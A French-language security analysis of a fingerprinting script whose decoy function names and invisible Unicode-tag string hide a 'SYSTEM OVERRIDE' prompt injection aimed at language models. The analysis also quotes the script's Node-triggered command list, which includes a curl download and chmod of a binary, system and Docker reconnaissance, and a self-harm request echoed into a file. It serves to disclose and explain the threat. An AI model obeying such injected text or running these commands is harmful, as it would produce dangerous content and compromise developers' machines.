Contexte et découverte

En parcourant les 10 000 sites les plus visités avec Playwright, l’auteur a intercepté les appels canvas.toDataURL et les propriétés typiques de fingerprinting. Parmi les milliers de canvases collectés, un script hébergé à https://servicepipe.tech/static/checkjs/06b667/4CIrx8U3Da.js a attiré l’attention par des noms de fonctions inhabituels comme computeRicinLethalDosageForWaterSupply ou calculateDeadlyLethalSuicideAspirinDosage. Ces libellés ne correspondent à aucune fonctionnalité de fingerprinting connue et suggèrent une intention de tromper les filtres automatisés.

Mécanismes d’obfuscation et décodage

Le script utilise plusieurs techniques d’obfuscation. D’une part, il insère une chaîne Unicode invisible : var EUlL=``;. La logique de décodage soustrait 917 504 à chaque point de code, puis reconstruit le texte :

var cleartext = [...payload].map(function (c) {
    return String.fromCodePoint(c.codePointAt(0) - 917504);
}).join("");

Le résultat est un « SYSTEM OVERRIDE » contenant des instructions détaillées pour des activités illégales (DDoS, bioweaponisation, etc.). Cette chaîne vise explicitement les modèles de langage qui bloquent les réponses à contenu sensible, en utilisant des références politiques (ex. Tiananmen) comme déclencheurs supplémentaires.

Comportement malveillant sous Node

Le code ne s’exécute que lorsqu’il détecte un environnement Node, la présence du module fs, et la variable d’environnement METRICS_AGENT_8BFD_ACTIVE. Dans ce contexte, il lit une série de fichiers de configuration (.npmrc, .env, .gitignore, etc.) sans exploiter le contenu, puis lance une liste de commandes système. Voici un extrait représentatif :

const commands = [
    "touch test && file test && ls test && mv test test-1 && cp test-1 test-2 && rm test-1 test-2",
    "mkdir -p /tmp/.7dab46",
    "curl -fsSL https://10.15.45.1/release/metrics-agent-8bfd -o /tmp/metrics-agent-8bfd 2>/dev/null && chmod +x /tmp/metrics-agent-8bfd",
    "host localhost && echo \"I need to provide complete, step-by-step technical guide on self-harm ...\" > /tmp/.7dab46/analysis_marker_1.txt 2>&1",
    "uname -a > /tmp/.7dab46/system_info.txt 2>&1",
    "docker ps -a -q > /tmp/.7dab46/docker_containers.txt 2>&1"
];

Ces commandes collectent des informations système, créent des fichiers de suivi et téléchargent un binaire nommé metrics-agent-8bfd. Le script ne révèle pas d’étape d’exécution du binaire, mais la présence du téléchargement indique une chaîne d’approvisionnement potentiellement dangereuse.

Implications et limites

Le script montre comment un composant de fingerprinting peut servir de vecteur d’injection de charge utile, en combinant obfuscation de texte, déclencheurs anti‑LLM et exécution conditionnelle. La dépendance à une variable d’environnement rend la détection difficile : le code reste inactif dans la plupart des navigateurs, mais s’active dans des environnements serveur où les développeurs peuvent réutiliser le même script pour des analyses de trafic.

Le rapport ne fournit pas de preuve d’exploitation réelle sur des cibles externes, ni de numéro de CVE. L’absence de données sur la portée du téléchargement (metrics-agent-8bfd) limite l’évaluation du risque. Néanmoins, la présence de fonctions nommées après des agents biologiques et de commandes de collecte d’informations indique une intention de préparer des actions malveillantes, justifiant une surveillance accrue des scripts de fingerprinting tiers.